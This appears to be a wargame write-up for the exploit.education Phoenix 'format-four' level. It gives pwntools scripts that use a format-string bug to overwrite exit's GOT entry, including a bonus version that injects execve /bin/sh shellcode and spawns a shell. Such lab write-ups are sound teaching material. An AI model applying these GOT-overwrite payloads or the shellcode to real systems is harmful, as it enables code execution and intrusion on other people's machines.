Phoenix - Format Four

3 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

void bounce(char *str) {
  printf(str);
  exit(0);
}

void congratulations() {
  printf("Well done, you're redirected code execution!\n");
  exit(0);
}

int main(int argc, char **argv) {
  char buf[4096];

  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);
}

The idea of this level is the same as the previous one but instead of overwriting a variable we overwrite the GOT.

GOT is the global offset table and is it’s used to find the addresses of external functions at runtime.

So we can use format string vulnerability to overwrite the address of exit after the vulnerable printf to point point to anything (congratulations function in this case).

To get exit address we can use objdump:

$ objdump -R /opt/phoenix/i486/format-four

/opt/phoenix/i486/format-four:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080497d8 R_386_JUMP_SLOT   printf
080497dc R_386_JUMP_SLOT   puts
080497e0 R_386_JUMP_SLOT   read
080497e4 R_386_JUMP_SLOT   exit
080497e8 R_386_JUMP_SLOT   __libc_start_main

Great, now we now it’s at 080497e4.

Let’s overwrite this address with congratulations address.

I won’t go through the code details as this is the same technique used in the previous level.

Solution:

# solve.py

from pwn import *

exit = 0x080497e4
congratulations = 0x08048503

buff = ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 178       # JUNK
buff += "%n"            # write to first byte

buff += 'A' * 130       # JUNK
buff += "%n"            # write to second byte

buff += 'A' * 127       # JUNK
buff += "%n"            # write to third byte

buff += 'A' * 4         # JUNK
buff += "%n"            # write to forth byte

print(buff)
$ python solve.py | /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
0 0 0 f7f81cf7 f7ffb000 ffffd708 804857d ffffc700 ffffc700 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
.......

We will go through an infinite loop because we overwrote the exit address but who cares, we redirected code execution and that’s what matters :)

Bonus:

We can go further and get write a shellcode to buffer then jump to it, let’s do that.

We will add some NOPs to our exploit to add some flexibility to the jump address.

# solve2.py

from pwn import *

exit = 0x080497e4
buffer = 0xffffc710

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

buff = ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)

buff += '\x90' * 100		# NOP sled
buff += shellcode

buff += '%x ' * 11		# offset to first byte

buff += 'A' * 127		# JUNK
buff += "%n"			# write to first byte

buff += 'A' * 119		# JUNK
buff += "%n"			# write to second byte

buff += 'A' * 56		# JUNK
buff += "%n"			# write to third byte

buff += 'A' * 256		# JUNK
buff += "%n"			# write to forth byte

print(buff)
$ (python solve2.py; cat) | /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
����������������������������������������������������������������������������������������������������1�Ph//shh/bin����°
                                                                                                                      1�@̀0 0 0 f7f81cf7 f7ffb000 ffffd708 804857d ffffc700 ffffc700 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
whoami
phoenix-i386-format-four